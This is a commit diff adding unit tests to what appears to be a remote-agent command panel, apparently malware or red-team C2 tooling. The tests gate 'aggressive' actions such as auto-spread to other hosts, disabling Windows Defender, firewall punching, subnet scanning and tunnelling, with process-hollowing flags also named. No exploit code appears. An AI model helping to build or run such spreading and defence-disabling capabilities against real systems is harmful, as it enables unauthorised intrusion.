feat: T1016 dns_config probe + server-side drift detection + Crucible DNS DRIFT badge

server/web/src/help/remoteActions.test.ts

@@ -1,5 +1,9 @@
 import { describe, it, expect } from 'vitest';
-import { AGGRESSIVE_REMOTE_ACTIONS, canRunAggressiveAction } from './aggressiveActions';
+import {
+  AGGRESSIVE_REMOTE_ACTIONS,
+  aggressiveActionHint,
+  canRunAggressiveAction,
+} from './aggressiveActions';
 
 /** Buttons in AgentRemoteActions (full + compact) — must match agent/client handleCommand. */
 const UI_REMOTE_ACTIONS = [
@@ -71,3 +75,69 @@ describe('remote action wiring', () => {
     expect(canRunAggressiveAction('defender_off', caps, 'windows')).toBe(true);
   });
 });
+
+describe('AGGRESSIVE_REMOTE_ACTIONS', () => {
+  it('lists every wired aggressive command once', () => {
+    expect(AGGRESSIVE_REMOTE_ACTIONS).toHaveLength(9);
+    expect(new Set(AGGRESSIVE_REMOTE_ACTIONS).size).toBe(9);
+  });
+});
+
+const fullCaps = {
+  hole_punch: true,
+  remote_aggressive: true,
+  mesh_p2p: true,
+  auto_spread: true,
+  process_hollowing: false,
+  ai_enabled: false,
+};
+
+describe('canRunAggressiveAction edge cases', () => {
+  it('allows all actions when caps are undefined (legacy agents)', () => {
+    for (const action of AGGRESSIVE_REMOTE_ACTIONS) {
+      if (action === 'defender_off') continue;
+      expect(canRunAggressiveAction(action, undefined, 'windows')).toBe(true);
+    }
+  });
+
+  it('spread_now requires auto_spread or remote_aggressive', () => {
+    const base = { ...fullCaps, auto_spread: false, remote_aggressive: false };
+    expect(canRunAggressiveAction('spread_now', base)).toBe(false);
+    expect(canRunAggressiveAction('spread_now', { ...base, auto_spread: true })).toBe(true);
+    expect(canRunAggressiveAction('spread_now', { ...base, remote_aggressive: true })).toBe(true);
+  });
+
+  it('mesh_status requires mesh_p2p capability', () => {
+    expect(canRunAggressiveAction('mesh_status', { ...fullCaps, mesh_p2p: false })).toBe(false);
+    expect(canRunAggressiveAction('mesh_status', fullCaps)).toBe(true);
+  });
+
+  it('remote aggressive ops gate tunnel, scan, defender, firewall', () => {
+    const noAgg = { ...fullCaps, remote_aggressive: false };
+    for (const action of ['start_tunnel', 'subnet_scan', 'defender_off', 'firewall_punch'] as const) {
+      expect(canRunAggressiveAction(action, noAgg, 'windows')).toBe(false);
+      expect(canRunAggressiveAction(action, fullCaps, 'windows')).toBe(true);
+    }
+  });
+});
+
+describe('aggressiveActionHint', () => {
+  it('returns undefined when action is allowed', () => {
+    expect(aggressiveActionHint('hole_punch', fullCaps)).toBeUndefined();
+    expect(aggressiveActionHint('spread_now', fullCaps)).toBeUndefined();
+  });
+
+  it('returns macOS-specific hint for defender_off', () => {
+    expect(aggressiveActionHint('defender_off', fullCaps, 'darwin')).toBe(
+      'Defender disable not supported on macOS'
+    );
+  });
+
+  it('suggests re-forge hints when capability missing', () => {
+    const noCaps = { ...fullCaps, hole_punch: false, auto_spread: false, remote_aggressive: false, mesh_p2p: false };
+    expect(aggressiveActionHint('hole_punch', noCaps)).toContain('NAT Hole Punch');
+    expect(aggressiveActionHint('spread_now', noCaps)).toContain('Auto-Spread');
+    expect(aggressiveActionHint('mesh_status', noCaps)).toContain('Mesh P2P');
+    expect(aggressiveActionHint('start_tunnel', noCaps)).toContain('Remote Aggressive Ops');
+  });
+});